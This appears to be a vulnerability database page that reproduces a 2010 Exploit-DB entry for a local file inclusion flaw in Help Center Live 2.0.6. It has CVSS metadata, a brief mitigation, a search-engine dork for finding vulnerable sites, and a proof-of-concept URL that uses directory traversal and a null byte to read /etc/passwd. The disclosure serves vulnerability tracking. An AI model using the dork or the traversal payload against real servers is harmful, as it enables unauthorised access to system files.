Help Center Live 2.0.6(module=helpcenter&file=) Local File Inclusion

vendor:

Help Center Live

by:

41.w4r10r

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Help Center Live

Affected Version From: 2.0.6

Affected Version To: 2.0.6

Patch Exists: NO

Related CWE: N/A

CPE: a:help_center_live:help_center_live:2.0.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/Unix

2010

Help Center Live 2.0.6(module=helpcenter&file=) Local File Inclusion

Help Center Live 2.0.6 is vulnerable to a local file inclusion vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The crafted request contains a malicious file path in the ‘file’ parameter of the ‘module.php’ script. This allows an attacker to read sensitive files from the server.

Mitigation:

The best way to mitigate this vulnerability is to restrict access to the vulnerable script and to validate user input.

Source

Exploit-DB raw data:

# Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : inurl:"module=helpcenter"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



[+] Exploit

http://example.com/[path]/module.php?module=helpcenter&file=[LFI]



[+] POC :

http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00



#41.w4r10r mailto:41.w4r10r@andhrahackers.com